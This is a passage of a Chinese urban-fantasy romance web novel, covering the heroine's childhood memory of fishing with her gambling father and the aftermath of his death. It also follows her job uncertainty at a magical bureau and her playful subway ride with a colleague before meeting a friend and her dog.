那时越莫管脸上还有青春恣意的张扬,他16岁辍学,18岁在老家摆了婚宴酒席,19岁越洱就出生了。
人生正是好时候,钓鱼这天,是他25岁生日。
太阳毒辣,越洱和弟弟钻进河边不远处的小帐篷,一块一块分饼干,掰扯“公平公正”。
那年越莫管还没动过手打人,时不时还会在饭桌上讲讲俏皮话,斗得两个小孩哈哈笑、笑得喷饭被骂。
小越洱对父亲是有敬爱有畏惧,孩子骨子里对父母天然的爱和期待,她只透过爷爷奶奶的话,窥见一些轻描淡写的“真相”。
越莫管前些年赚的钱是实打实的,赌博前从来不对他们吝啬是真的,现在输得光腚也是不可否认的。
比起对亲爹的埋怨和憎恶,小越洱内心更深处,是对“赌博”这个事的恐惧。
赌博就像绞肉机,越莫管是投跳进机器受刑的肉块儿。
她不知道的是,她妈骆钰也站在绞肉机边,准备就位了。
越洱只觉得钓鱼那天一切都好,连分到的提子饼干,咬开看看,提子干比弟弟那份多。
她拿叶子捧起小水洼里的蝌蚪,一叶叶运它们回“水多的家”。
她捡到了褐色的蚌壳,一打开,内里彩色缎光流动,弟弟像个小尾巴,挂着鼻涕跟着她。
越莫管和三胖哥却不走运,半天钓不起来一条鱼。
她听见他俩嘀咕,用鱼雷炸鱼试试。
越洱心一凉,鱼雷是怎么炸,会炸死多少鱼?
偏偏这时候越莫管回头,把鸭舌帽帽檐往后一拨,咧着嘴对姐弟俩笑:“瞧好吧,我给你们整一车鱼回去,咱家几个月吃不完!”
越洱分不清玩笑不玩笑,她只会把别人的话都当真,尤其是“大人”的话。
她忙放下珍贵的蚌壳,小跑着凑过去,看见三胖哥在一个劲翻打火机。
越洱忙道:“算了吧,算了吧。”
她好像一个不会说话的小机器人,重复道:“算了吧,我们吃不完。”
越莫管和三胖哥对视一眼,皆是无言。
越洱脑中翻过千万个字斟句酌的劝阻说辞,可她一开口,只是:“别炸了,算了。”
她对越莫管陌生又熟悉,内心敬畏,似乎觉得自己人微言轻,不愿意很激烈去表达对抗。
越莫管鼻子出一口气,把自己手上捏着的红色打火机塞进三胖哥上衣前胸口袋里,道:“打火机留着咂咂烟算了。”
傍晚时分,河水表面被晒得暖融融,金色和橘色的光辉随着水面涟漪轻轻波动。
弟弟吸溜吸溜鼻涕,很有胆识地问:“我们不下水游泳吗?”
他也怕越莫管,这个很少回家的高大男人,不笑的时候眼神凛冽严厉,眉压眼、凶巴巴。
39.拒绝你的拒绝
越莫管回头看俩小孩:“你俩会游泳么?这水底下好多刺窠,别游了。”
这怎么行,别看他们穿着寻常衣服,越洱甚至外套穿的学校校服,骆钰说好洗。
底下可是早就穿好泳衣,昨晚睡之前听说能去钓鱼玩水,姐弟俩兴奋得很晚才睡,睡衣换泳衣就躺床上畅想。
冬瓜寨的河水边,越洱把校服拉链一拉、弟弟把裤子一蹬,无声抗议着,拒绝越莫管的拒绝。
三胖哥乐了:“哈哈,看看人家都准备好了,不下水不白穿啦?”
越莫管难得露出头疼表情:“别游了吧,小心被水鬼拖下去哦。”
临上场了,说这些吓不到越洱,况且她根本不相信这世上有鬼。
“我不怕。”越洱坚定地说。
弟弟则咕咕囔囔听不清说些啥,手已经悄悄摸下去提裤子了。
越莫管视线转到越洱这边:“真要游?”
越洱快急哭了,她看着游泳的希望就要被弟弟这个“叛徒”打碎,湿漉漉的眼眶里泪花盛满。
可她一句话不再说,就在那儿站着犟。
“哎,游吧游吧。”越莫管放下手中的渔具长背包,招手喊越洱过来。
弟弟不干了,立马跟上:“那我也下去!”
于是,小越洱得愿以偿。
那天的夕阳余晖下、波光粼粼中,她穿着泳衣像个紫皮笨青蛙,曲着两腿漂在水面。
小小的头使劲抬起,两个手臂由越莫管拉着,就在河边游的。
就算越莫管放开她手臂,她也能往水里一杵,杵在石头上支撑。
可她还是呛了好几口河水,这都怪弟弟。
昨晚他俩商议要提前穿上泳衣,不耽误第二天钓鱼时间,以免越莫管嫌他们磨蹭不带他们了。
越洱心满意足穿上没用过几次的泳衣,她根本没学过游泳,这泳衣是一家子去泡温泉,温泉景区买的。
弟弟一看不乐意了:“怎么你的泳衣配套?我只有个裤衩。”
越洱喜滋滋对着镜子美了一阵,福至心灵地跳到衣柜前,一通翻找,提溜出来一件粉红色的连体泳衣。
抖落开来,正面还有美羊羊的印花图案,唯一美中不足是,美羊羊的塑胶印花老化了,脸上直掉皮。
“你穿这件吧,这件超好看!”
于是,冬瓜寨的河水水面,又浮起一只粉皮青蛙,这青蛙体型更小,肚皮还隐隐在掉渣。
三胖哥手箍起弟弟腋窝,几乎托着他在“游。”
他本来就胖,笑得乐不可支,好几层的肚皮和下巴一同在颤。
嗓音好像深谷的老鹅,笑作“呃呃呃呃呃哈哈哈哈哈——”
越莫管被传染了,也咧着嘴笑,越洱一转头看,弟弟被忙着笑的三胖大爹微微托出水面,圆滚滚的小肚皮撑起饱满版美羊羊。
一下也笑得止不住,平衡失了,咕嘟咕嘟呛好几口水。
就这么笑得莫名其妙、呛得莫名其妙。
就这么,记住了这天的夕阳、河水、提子饼干,和难能温柔的爹——越莫管。
*
越洱躺在床上,睡着又转醒,屋子是漆黑的铁笼。
她慢慢掀起眼皮,侧卧着蜷缩在床上,感到一种深重的、让人喘不过气的被抛弃感。
好静,好安静。
伸手摸索过备用机,桌面壁纸是原始设定的,一片点缀着小小野花的草原。
她突然很想边锋、边沁、包子、山风……
很想很想小狗,小狗“忙忙”。
忙忙,你是世上最后一个全心全意爱我的小生命了。
以前也没人这样爱我,可我老还有期望。
现在,我最恨的仇人死了,他没有真正把我当过人,哪怕一天。
他只在权力的五指山中,对我释放过一丁点善意。
可我现在是怎么?犯贱吗?贱人还没当够吗?
为什么,为什么会、有难过?
忙忙,你说我是不是贱得慌?这些年,我一心想叫他死,最好死在我手里,我亲眼瞧着他断气。
最好不过。
这个人,在世上四十六七年,全是消耗,耗干了所有爱他的人,耗干了全部天真的、期待的眼神。
他死了。
忙忙,你在我身边就好了,我不知道和谁去说,没有谁。
你在我身边,歪歪脑袋看着我,圆溜溜、憨包包的小狗眼睛,总是看不懂人为什么难过、为什么嘎巴一下就是哭。
但小狗急得跺跺小脚肉垫,“呼”一下钻进来,钻开人埋在膝盖的脑袋和环绕成圈的手臂。
热烘烘的蒸大米气息,尾巴啪嗒啪嗒摇来甩去,小狗不容许人瞒着自己伤心。
小狗毛茸茸的脖子借给人哭,擦眼泪。
忙忙,谁也不在了,他们倒是潇洒,一撒手,走得比谁都快。
来到世上,没有一句欢欣迎接;走了,没有一句珍重再见。
忙忙,你知道吗?我计划落空了,我原以为有一天能亲手揍越莫管这个畜生一顿,不用法力。
过了许久,越洱爬起来,按开了灯,满屋亮堂。
门外有微弱的脚步声,陷落在柔软地毯间,可还是摩挲出动静。
越洱打开门,眼皮有些肿,得使劲抬眼才好睁大。
门边立着一个小托盘架子,托盘里摆着好看的小碗小碟,盛了饭菜汤。
一个穿着侍者制服的男生在远处回头,他手上还忙着,冲这边笑道:“越小姐,您刚才是在睡觉吧?需要帮您热一下吗?”
往左右看去,走廊尽头,两边都站了几个鸟人和警察制服的人。
联合调查部那边没通知的话,她是出不去了,只是没想到连楼层都不能出。
越洱拿取托盘,礼貌道谢,又说不用,带着饭菜回了房。
心情复杂归复杂,本以为没胃口的,才吃上两口就恢复原型了,好吃,真香。
边沁大概率也要接受调查,不晓得她那天隐身偷听时录音了没,突发状况,就算录了音,也最好别暴露。
这对边沁不好,说不定还会扯出劳山风。
一个法力部新职员,不仅卷入和自己毫无关系的家庭纠纷,还跟踪另一部门同事、偷窥录音,这说出去,法力部上层那些人指不定怎么想边沁。
越洱更是,亲爹来法力部拉横幅开大喇叭闹,已经是众所皆知的“不孝女”。
要是再来个“教唆同期跟踪设局”的罪名,直接卷铺盖走人吧。
从越莫管找到法力部门前第一闹起,段飞烨就没问过一句她家事。
都是带着“解决掉问题”的态度来的,只在闹事节点、死亡节点知会越洱。
段飞烨很理性,高效,她上面的人只会比她更理性。
也许出了这间房,就是越洱职场死亡日,一个还没转正就状况频出的新人、有大把可替代者的小螺丝,下一份工作又在
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哪方?
如果和猜想一致,罗成荒是否又能借着公婆家势力逃之夭夭?陆锁仁在其间发挥多大作用?
白鸟安全屋那几个镰刀杀手,就是陆锁仁找来的?
外婆的头骨还在安全司那边,不会一并没收充公吧?
越洱脑子又钝又转,整个人很割裂,就像半梦半醒间,眼皮下眼珠晃动,挣扎着寻找梦的逻辑错误点,来证明自己其实身处梦中。
翌日,她关在房间,吃了侍者准点送来的早中晚餐。
备用机可以上网看书看剧,但是别想发出任何评论、下载任何社交APP。
原来已经可以做到这种程度,完全单向吸收信息,却一个字送不出去。
贴心如斯,越洱每天收到一套白色的睡衣和崭新一次性内裤。
穿起来干净,就是反反复复白衣白裤,有点囚服“风韵”。
越洱就这么用手机和睡眠麻痹自己,一晃眼一周过去。
是鸟人老师来放走她的,当时鸟老师穿个黑色衬衫,挂着工作牌,身后跟着联合调查部的两个警察。
颇为公事公办、正经合流程地放走了越洱。
越洱套上自己洗干净的外套,里面仍穿着一套白色睡衣,提着袋子往出走。
走廊尽头,载人的千纸鹤在排队,工作组的警察先跳上千纸鹤走了。
越洱慢腾腾走过去,莫名有点头晕。
法力部主楼共999层,由于楼层太高,等电梯极慢,于是配套千纸鹤坐骑服务。
很少的几个楼层,办公人员少,允许直接闪现出去,但是闪现前后都得打报告,烦不胜烦,大多数老职员还是愿意用千纸鹤。
越洱捂着嘴打哈欠,来到千纸鹤接应处,鸟老师扯了扯工作牌,看向她。
越洱招手道:“鸟……”
“哗啦”,袋子险些甩掉在地,越洱只感一股巨大拉力。
脑子还没反应过来,鸟人一把把她拉进电梯,在五面环绕的镜子中,紧紧抱住越洱。
黑色的半长发,发尾窝进锁骨,鸟人按着越洱后脑勺,她整张脸埋进鸟人胸前黑衬衫的口袋位置。
鸟人冷香的气息传来,越洱艰难挣出脸,提溜着袋子的手敲敲鸟人脊背:“我没事……”
说着,她扭扭身子,腾出手钻到胃部没那么紧贴鸟人的缝隙,推了推。
“没事没事,”用力一推,鸟人缓缓放开了她,“我、挺好的,这几天。”
鸟人这个紧紧的拥抱就像传送带上排队待处理的寿司,还在剖析机制之外,越洱只觉得懵,和鸟老师有这么熟吗?
似乎很熟了,又很不熟。
话说除了法力部面试那天、鸟人背她回家那天,他们就没有什么很近的相处时间了。
深渊下更是,只想锤爆安全司的头。
她一时语塞,竟没头没脑地问:“你还好吗?”
说完就想扇嘴,鸟人有啥好不好的。
“呃,这几天你们工作辛苦吧?”
鸟人一双含水绿眸温柔地锁着她,摇摇头:“我……”
“还按不按楼层啊?”
电梯门刚合上就被按开,随着这声不爽的质问,愈发扩大的门缝里现出一张脸。
边锋腕上挂着西装外套,身穿白色衬衫,黑着脸一迈长腿,跨进电梯。
越洱一瞬间有种干坏事挨雷劈的错觉,莫名心一紧。
“你、你怎么也在这儿呀?”
40.呵呵,掐你腰。
“呵呵。”
边锋凝眉冷哼出一声,旋即背对他俩,自顾自按了1层。
这个角度看过去,隐隐能看见他半侧的脸,下颌角往上一绷,腮帮子咬紧又放开。
越洱只看到他侧脸边一小条肌肉跳了跳,随即,边锋一个眼神也不给他们,冷冷淡淡望向电梯数字盘。
左右的电梯镜映出三人身影,镜外比镜里更沉默。
“话说,今天星期几了?”越洱硬着头皮开口。
边锋浓密的睫毛上下动了动,一声没吭。
从镜子看去,他嘴紧紧闭着,下巴微微扬起。
“周六了,但是调休。”
鸟人边说边俯身过来,勾走了越洱手上松垮垮的袋子:“我来提。”
不知为何,电梯厢里冷气又重两分,搞得越洱莫名打个哆嗦。
怎么这么慢呐?
越洱站在边锋身后,眼神不敢乱动,一个劲儿低头盯着边锋腰窝处。
啊,好白的衬衫,洗得好、熨得好。
啊,几楼了到底。
幸而越降到低楼层,办公室越多,陆陆续续有人进了又出去。
这一层格外多,一窝蜂挤进来,边锋后退,越洱跟着往后退,忽的,脚尖被狠狠一碾。
越洱差点痛呼出声,碍于人多丢脸,她硬生生忍下来。
边锋跟个没事人似的,半个眼神都没往后丢过来。
越洱像块自由流动的史莱姆,被挤在最犄角旮旯。
好不容易等这波人下去,电梯厢宽松一些,边锋却没有要挪动的意思。
越洱道:“劳烦您,往前挪挪尊脚。”
声音闷闷从背后传来,边锋“聋”了,置之不理。
“啊!”
下一秒,边锋踉跄往前一跨,幸亏电梯还没运行。
站在他前面的两个技术员转头疑惑看他,边锋摆摆手道:“不好意思。”
鸟人“噗嗤”笑了一下。
边锋反手去揉,刚才他不动,越洱一把掐在他腰上,力道不小,正中痒痒肉。
回头一看,越洱施施然在整理头发,对着镜子、面色一本正经。
“装佯鬼。”边锋很小声骂道,只有越洱听清,等他回过头去,越洱忍不住静音笑了。
鸟人站位本就类似于面向他俩,瞧见这一幕,若有所思地闭了嘴,默默看越洱。
明媚的眼,笑得弯弯如月牙,眼角是很细微的笑纹。
笑起来,尖尖的小虎牙露出,平添一份狡黠灵动。
是花间最勤奋闪动翅膀的蜜蜂,是雨天屋檐最奋力往下跳的水滴,是砸在水洼激起最震荡涟漪的一滴水……
鸟人有的没的想了一大堆,来来去去想。
“喂,走了,呆子。”
一声唤回神智,鸟人抬眼,看见边锋一脸不服气地替他抵着门。
越洱也等在门口,眼神亮亮投向他。
“说谁呆子?”鸟人不客气地蹭着边锋手臂出去。
“错了,呆鸟。”边锋一甩,西装外套搭上肩。
“傻狗。”
“秃驴。”
……
两人叽叽喳喳斗着嘴,不亦乐乎,忘了越洱存在。
走到法力部一楼大门出口时,玻璃门边值班的大爷还颇为惊异瞅了他俩一眼。
通灵阵突然震颤不止,越洱接入。
“越洱,来我办公室一趟。”
是段飞烨,越洱一时混淆,打电话一般回应出声:“好的组长。”
两个男人立刻不走了,停下来回头望她。
鸟人问道:“你组长找?”
越洱先切断通灵阵,点头,伸手去要鸟人手中袋子:“给我吧,我得去组长哪儿一趟。”
却见边锋抢先拿过了袋子,越洱才注意到他手上本就提着个东西,方才被外套遮住了,出电梯又忙着看他二人斗嘴,没注意。
“走,找组长。”
“啊,你也去吗?”越洱纯粹是好奇,随口问的。
哪想到边锋脸一下沉了,更黑。
“‘你怎么也在这儿,你也去吗’,也也也,看来我很多余是吧?越洱,你上哪儿修炼的‘也’文学?”
一句话顶到肺,越洱给呛得一愣。
鸟人打圆场,道:“好啦好啦,我们陪你去看看怎么说。”
边锋飞来凌厉一眼,还未作声,远处有个浑厚男音插一脚:
“鸟人老师!”
那浑厚男音持有者吭哧吭哧跑过来:“鸟老师,工作组请你去调查司走一趟。”
“……”鸟人犹豫两秒,拍拍越洱肩膀说:“回去联系。”
随即和浑厚男音转身走了。
“……”
“……”
越洱和边锋相顾无言,呆子样原地站了几秒,一同朝主楼里走去。
走到电梯前,考虑到是组长在等她,越洱于是说:“乘纸鹤上去吧。”
边锋神色莫测道:“不用。”
一把抓过越洱手肘,“歘”地闪现到段飞烨办公室门口。
如果说越洱的闪现结合了推背感和失重感,让人体感自己像被别人一下从盆里泼出来的水;
那边锋的闪现就是蹩脚司机一脚油门一脚刹车,能忍,但晕。
一闪到,边锋迅速放开越洱手肘,像是刚才不得不捏。
越洱按了按太阳穴,压下闪现的微弱呕吐感,抬手敲下门。
“进来吧。”段飞烨的声音响起,门自动消失。
门框外一前一后站着俩人,越洱在前,边锋提着东西站她侧后方。
段飞烨见状,笑笑说:“都进来吧。”
她又恢复了往日的精致干练,素色旗袍裹着曼妙身躯,缓步走到沙发区坐下。
劝二人喝了口茶,段飞烨才说道:“这段时间你们辛苦了,越洱这几天休息得怎么样?”
越洱也客套:“休息挺好的,组长。”
段飞烨哪里不明白,亲生父亲上门闹腾又突然身亡,换作任何人都难顶,能好到哪儿去。
只是上面的意思,她不得不传达。
“越洱进来法力部也有一个多月了,你的努力我一直看在眼里——”
拿杯子的手僵了一下,越洱想立时遁地逃走,这一天竟来得那么早吗?
段飞烨顿了顿:“只是这么多事,你也需要时间处理消化。接下来这半个多月,也没什么事,就回家好好休息吧。”
越洱低着眼看茶水,法力部多的是事,异常事物处理司更是没有空缺时候。
这哪儿是休息,劝退还差不多。
之前有试用期不过的人,法力部一般不会直截了当让回家,而是美其名曰“带薪放假”,等满了整数月,就给补偿金加劝退。
越洱正欲开口问,就听边锋提醒道:“组长,后天就是卧底训练了——”
越洱完全没收到这个消息。
“哦,
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我正想说,”段飞烨淡淡道:“越洱先不用管卧底训练了。”
“可是……”
“了解了,组长。”越洱截断边锋的话,多说无益。
*
不眠市的地铁,有一条很特别。
8号线,这条线路纵贯南北、横穿东西,从起点出发,绕城市画一颗五角星,再驶回起点。
路线铺陈的五角星,像一个阵法覆盖整个城市,由是,8号线人称“星光线”,传说只要从起点完整坐过全程,随地铁画出这五角星,就能收获好运。
越洱正坐在8号线车厢中,冷气开得很足,法力部位于“五角星”路线图正中央,离郊区的起点站很远。
那也可以沾三分之一的好运吧,越洱想。
上上下下的人流,切割着对面玻璃中她和边锋的脸。
他们一句话也没说,这条线通往包子家,可以带宠物乘坐,接下来至少15天的空闲时间,越洱打算带小狗出去玩。
过了这半个多月呢?她不知道。
有返聘的可能吗?走就是走,法力部这个东家有的是新客。
越洱不甘心,顺带对坐旁边的边锋也嫉妒。
同期会平平顺顺通过试用期,转正,只要不犯大错,法力部就是可以捧在手上几十年的铁饭碗。
旱涝保收,永远无需担心下一个月房租——哦,是了,边锋本也不用担心房租,一辈子都不用。
久违的痛苦焦虑侵袭上心头,下一份工作在哪儿?下一处公司交不交社保、有没有双休?还要漂泊不定几年?
社保不能断,她害怕风烛残年之时,还要天天出门找活路。
那时候又有什么人愿意用她呢?一没技能、二没积累、三没体力。
随即一个可怕的事实席卷而来,未到风烛残年之时,她便已是孤身一人。
世上再无亲缘,人生也无来处。
小狗已经两岁半,狗狗的寿命是……
“严家浜,到了。请携带好随身物品下车,注意脚下安全。”
越洱抬头看车厢上缘点亮的路线。
“下一站,阳间水上乐园。”
随着“滴滴嘟嘟”的关门声,又一波乘客挤进来,但毕竟驶离了市区,尚能稍微宽松地站人。
越洱眼神发散,有点犯困。
斜前方有个身穿小熊猫玩偶服的人,胖嘟嘟的、毛茸茸的爪上,握着一把气球线。
那一蓬气球飘在地铁车厢顶,随着“小熊猫”转身,摩擦出轻微的“咯吱”声。
蓬蓬一大朵气球组成的花束,占了不少空间。
那人一爪子解下玩偶头套,一边朝被气球挤到的乘客道歉。
大家忙着赶路、玩手机,看她一眼也没回应、不甚在意。
越洱心却一紧,这张脸她记得。
六七年前,越洱在神算子女巫店兼职,隔壁干洗店老板小艾嘛这不是。
汗水濡湿发丝,贴在她额角,越洱没戴近视眼睛,却还是看出她老了不少。
越洱有些犹豫,她在神算子女巫店那几个月,小艾得闲时,会放着干洗店不管,过来隔壁找她们聊上几句。
但和小艾更熟的另有其人,自己最多趁没客人插上两句。
离职时候,更是连好友也没加,那时她过得捉襟见肘,根本不舍得花几十块去小艾家洗个什么。
要不要上前打招呼?
“嗯?”边锋抱着手臂,疑惑哼一声看着她。
41.买气球哄你开心总好了吧?
“阳间水上乐园,到了。车门将于列车行驶方向左侧开启,请注意不要倚靠。”
不愧是不眠市最大的水上乐园,地铁上的人还没来得及下完,门边就挤挤搡搡进来一大串小孩、大人。
他们多数穿着人字拖鞋,冷气吹拂,送来各式洗发水沐浴露的清香,其间另有微妙的消毒水气息。
车厢瞬间拔高了音阶,各方的童音和十万个“为什么”交错。
小艾忙戴好头套。
“哇!是小熊猫!”
“妈妈,我也想要气球!”
小艾穿着笨重憨厚的玩偶服,“哒哒哒”甩着毛茸茸的尾巴,走近孩子那一团。
“烦死你了,家里多少个了,买来一天就瘪掉。”
家长抱怨道,还是让孩子选起来。
一个人买了,就有一堆按不住的小灵魂。
“我也要。”
“给我买嘛,这个不一样——”
车厢里气氛火热,大有争先恐后抢购之态。
小艾忙得热火朝天,一边脱爪子找付款码、一边准确抽出每个孩子要的气球。
越洱暗自松口气,还是不上去了,她怕小艾尴尬,不过看起来生意蛮好的,她由衷为她开心。
熙熙攘攘中,“小熊猫”吸引了很多人的视线,一些疲惫的目光从手机上投到那一圈热闹中。
身边一下空了,冷气骤然落得明显,越洱转头,只见边锋站起身来。
他慢条斯理避让站立的人,不知不觉间走到小孩中间。
越洱看不见他正面,只见他一手抓着扶手,一手掏手机扫码。
诶?
不多会儿,边锋修匀的腿回到近前。
“喏,你的。”
越洱抬眼,看见那只干净流畅、青筋微微隆起的手,递过来一根气球线。
往上,视线游过边锋骄矜自持的俊脸,看那神情,会以为这人在说很不客气的话。
氢气球飘空,是一个偏橘红色的小熊猫,尾巴掉着像个小椭圆球球,一脸憨态可掬。
越洱本能地接过,眼睛离不开边锋似的。
边锋被她盯得耳尖发红,他迅速揉一把耳朵,坐回越洱身边,欲盖弥彰来了句:
“啧,喜欢这些,跟小孩似的。”
啊?谁说过喜欢?虽然是很可爱。
“谢谢你。”越洱忍不住笑了。
“真的很可爱。”她轻轻拖下气球,手指抚摸上小熊猫圆鼓鼓的脸蛋。
“哼。”边锋斜睨她一眼,像攒了很多话,却一一放下,手臂还是叉着抱在胸前。
不觉间,又到站了,车门开启。
两个拿着对讲机、穿制服的工作人员走进来。
“哎哎,这里不好卖东西哈。”
“别卖了别卖了——”
小艾还有好几个款没收,头套下隐约传来她的回应:“马上马上。”
外头一个戴帽子的工作人员偏过头望进来,两个对讲机立时有些紧张,催促道:“得了!下车出去卖。”
可还有站得稍远的孩子没拿到气球,小娃急切催道:“别忘了我的。艾莎最后一个是我的!”
“嘀嘀嘀”,车门即将关闭,小艾手不停,对讲机里传来两句嘈杂的指令。
两个工作人员脸色不好,一人一边拉着小艾的手肘往下带。
“说了不听是吧,来检查检查你执照。”
“啊妈妈,我的艾莎!”
“嘘,别叫,别处买给你。”
胖乎乎的小熊猫挣扎着被拖下车厢,越洱忙回头一望,透过玻璃窗,看见小艾的气球脱了手,晃晃悠悠飘到空中。
争执的声响关在闭合的两层门外,地铁发动。
没拿到艾莎气球的孩子呜呜在哭,小熊猫远走了。
时隔多年,匆匆一撇。
神算子女巫店的老板是有真货的,越洱靠书解读,赚点笨钱;可人家那是真女巫、真预言,虽然也不百分百灵验吧,总归靠回头客赚了两套房。
离职以后,她们也渐渐不联系了,好像再亲近的同事都是。
共事时,天天相处、从早到晚,甚至周末还小聚起来,逛逛街、聊聊天。
可这种密切只是暂时的,由环境促成的将就。
将就将就而已,一旦退回各自的生活中,谁会把同事当真朋友,玩得久的照旧是那几个从年少时代走过来的老友。
她和边锋、边沁,只是短暂相交的直线,终究还要奔自前程。
我还有前程可言吗?我接下来怎么讨生活……
小熊猫红扑扑的脸蛋被丝丝冷气吹得左摇右晃。
气球摇头摆尾,险些擦过一个站客的后脑勺,越洱把它拽得更低,几乎是抱在怀里的高度。
人越来越少,地铁飞速掠过一段高架区,玻璃窗框过棉花糖一样的云。
地铁没入漆黑隧道,难以抑制的荒唐冲动跃上心尖。
窗外一片黑暗,她突然想到,不管不顾来一句:“和我在一起,边锋”。
别离开我。
别忙着往前走忘记我。
在我身边。
地铁碾压着轨道,轰隆隆地震动她全身骨头。
越洱直直望着对面玻璃,地铁顶灯将她和边锋的脸孔映射在那边。
她知道很荒唐,很可笑,很让人瞧不起。
懦弱的逃避,对生活可怜的祈求,边锋凭什么和自己绑在一起。
他们之间,之间……
没有“之间”,链接都不存在,哪来的之间。
她看到对面玻璃窗上,女人的脸,挤出苦笑,朝气不再。
年底就是28岁,时光匆匆,她不老,可她也老了。
在这世上,没有一席之地,没有一个自己可以站进去扎根的小土坑。
边锋如果哪天疯了,和她越洱在一起,那只会是可怜她。
谁和一个没有本事、年近三十却愣头愣脑没着落的人在一起,会感到幸福呢?
她只会拖累了他。
废物。
几十年的废物还是废物,时间没有在自己身上雕刻出有价值的花纹,她也没为自己添上丁点筹码。
城市里跳来跳去的间歇性无业游民……
地铁停了又启,摇摇晃晃,忽的,越洱肩头一沉。
对窗映出他们的身影,边锋的脑袋靠在她肩上。
越洱呼吸一滞,侧下眼去看,边锋闭着眼。
不听话的头发很多,像绵软的针,挤挤攘攘扎在她颈间,贴到肌肤却收了锋芒,只六年存在感。
微微翘起两排浓密睫毛,鼻梁高挺,让人想记住这骨骼的弧度。
越洱看了半天,边锋一动不动。
皮肤真好啊。
下一秒,她一把按在边锋鼻梁上。
“唔。”边锋醒了,本来也醒着。
一张清香的纸巾压在脸上。
他被捂得张嘴呼吸,瓮声瓮气问:“干嘛?”
越洱收回纸,叠起来那一面。
“给你吸吸鼻子上的
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油,有点反光了美男。”
“……”
看她一脸正经、一派贴心,边锋坐直腰身,一手贴了下鼻梁。
随即,他毫不犹豫抓起越洱手臂,张口启动,牙齿“咔咔”凿两下,一大口恶狠狠咬下去!
*
看着地铁关上门从眼前驶过,两人站着挥了挥手。
他们提前一站下车了,丢够了脸。
边锋咬上来那一口猝不及防,越洱疼得大“啊”一声,惊醒几个酣睡的乘客。
她慌忙起身讪笑道歉,随即给边锋额头送上两个爆栗。
几个初高中模样的学生指指点点、窃窃私语看朝他们。
越洱抗不住八卦的精光,拽着身边人下车了。
【沼泽地】,这一站。
边锋印堂发红,干咳两下,还一手虚挂在裤兜里摆姿态。
“走吧,气球抓牢点,别放飞。”
越洱瞄他一眼,动作很明显地松开手。
“诶!”气球迅速上升,边锋急得抽手去够。
下一瞬,尾巴停住,小熊猫气球线还栓在越洱小拇指。
“哈哈哈哈。”越洱看他耍帅的架子像积木散掉,得逞坏笑出声。
边锋:“……你就天天欺负我,我送的小熊猫也不好好珍惜。”
她现在有点摸清他路数了,现在这种,不是真生气。
和玫瑰奶白酒那次不一样。
俩人走去楼梯,边锋一路歪过胯骨轻轻撞她。
幼稚得要命,小学以后就没见过这种人。
他们走到楼梯前,越洱忍不住一歪屁股,胯骨反击!
“谁天天欺负你啦,夸张精。”
“夸张精”,回应他电梯里骂的那句“装佯鬼”。
不料边锋这下不撞了,一把搂过她脖子。
用一种近乎锁喉的架势,其实空间很大,手臂环住了越洱脖子。
“放不放开,一、二——”
边锋长臂锁脖,几乎从身后把越洱揽进怀中:“三四五六七,不放。今天谁在电梯里和别人搂搂抱抱,演偶像剧呢?嗯?”
怀里的人脸“腾”地红了:“谁搂搂抱抱,那叫同事友好慰问。”
俩人磕磕绊绊在楼梯的宽大平台停下脚步,边锋手臂改为揽着越洱的肩。
“怎么不慰问慰问我?”
越洱白眼一翻:“下回叫鸟老师狠狠慰问你,别把你爽死。”
脸颊一痛,越洱轻“嘶”一声。
边锋捏脸的两根手指放开,还故意在她脸颊边、在她余光中,合上手指搓了搓。
“反光了小姐姐,压压油吧你。”
越洱恨不得咬他一口回敬,边锋看出来,使劲挣扎要抽回手,奈何搭在越洱肩膀的手被她狠狠抓住不放。
越洱笑得很变态,把边锋的虎口位置抓向嘴边,故意放慢张嘴的动作缓缓靠近。
来个Slowmotion吓死他,猎物被咬之前最揪心,呐哈哈哈——
边锋越是“不要不要”,手弹跳挣扎,越洱就越兴奋。
近了近了,昂——
“汪汪汪!”
越洱嘴猛地停住。
边锋挣扎得不亦乐乎,跟着愣住:“怎么,我湿纸巾擦过手了好吧。”
越洱一把甩开,瞳孔微颤,尬笑着望向楼梯最上端。
一个短发高瘦女生,手里绕着牵引绳,另一头栓着急不可耐、呈下冲之姿的黑白奶牛色小狗。
“忙忙——妈妈的宝贝儿!”
42.小狗不宜观看
“包子,嗨嗨!”越洱极为夸张、过分热情地招呼。
小狗急切俯冲,包子看没其他人出来,空空荡荡,放长了牵引绳。
小狗感到脖子限制的力道一松,立马呼啦啦飞一样冲下楼梯。
越洱忙蹲身扎马步做好迎接准备,以免人仰狗翻。
44斤的黑白小狗撞了满怀,随着鼻息送出哼哼唧唧的急切撒娇,浑身按捺不住和尾巴一起摆动弹跳的肌肉。
“哈哈哈哈,哦哟哦哟,妈妈果宝贝。”
纵使做好准备,越洱还是差点拿不住兴奋的狗子,被扑得趔趔趄趄后退。
一屁股摔坐在原地。
“好了好了,想你想你,呜宝贝——啵啵啵。”
一连串死样的动静,边锋神奇地看向一人一狗,收回去拉她的手。
包子也一脸审视地慢慢收着牵引绳,踱步走下楼梯。
越洱轻咬几口忙忙的嘴筒子,真可爱真可爱。
她手一撑,起身拍拍屁股,笑道:“包子,你们走那么快呀。”
准备提前一站下地铁前,越洱手机传讯问了包子。
包子回:正好我和忙忙往那边散步,你们下吧。
只是没想到这么近,越洱他们还没走出地铁站,包子和狗子已经到了。
回想方才包子震惊懵逼的探寻目光,越洱尬笑道:“哈哈,这是我同事,边锋。”
随即她转头对边锋说:“这是我的好朋友,本名冷相宜,也叫包子。”
边锋点头,朝包子伸手:“你好,请问怎么称呼方便?”
越洱看他一脸正气,五好青年的样子,心生佩服。
好,好装。
包子眼神还挂着疑问句,一片看边锋一边忍不住瞟越洱。
“你好你好,叫包子就行。”
“好嘞,包子好。 ”
“好,你好我好大家好。”
小狗吐着粉色的小舌头散热,在他们说话期间,好奇地凑上去嗅闻边锋。
它绕前绕后,围着边锋膝盖打转。
边锋注意到,任由它闻了一会儿,随后慢慢降低身子,探下手背给小狗嗅嗅。
“忙忙,好久不见。”
小狗似是认出了这个曾经来过家里的家伙,尾巴摇晃速度加快,两个小前爪竟扑向边锋膝盖,讨抱抱。
边锋笑出声,蹲下来揉狗:“忙忙怎么还是这么忙?”
他趁乱摸一把小狗的肚子肉,边锋道:“嗯,看来小狗有好好吃饭。”
忙忙听不懂这人叽里咕噜说什么,只觉他语气不坏,便亲亲热热拿鼻子去拱拱边锋。
三人一狗磨蹭一阵,看旁边的电动扶梯载来出站的人,便聊着天往楼梯口走上去。
越洱牵着狗走中间,左边边锋,右边包子。
那俩人挺高,她夹在中间,地上的影子就是一座“凹”。
越洱莫名想笑,随即她听到边锋出声说:
“诶?包子是不是来过法力部,怎么好眼熟?”
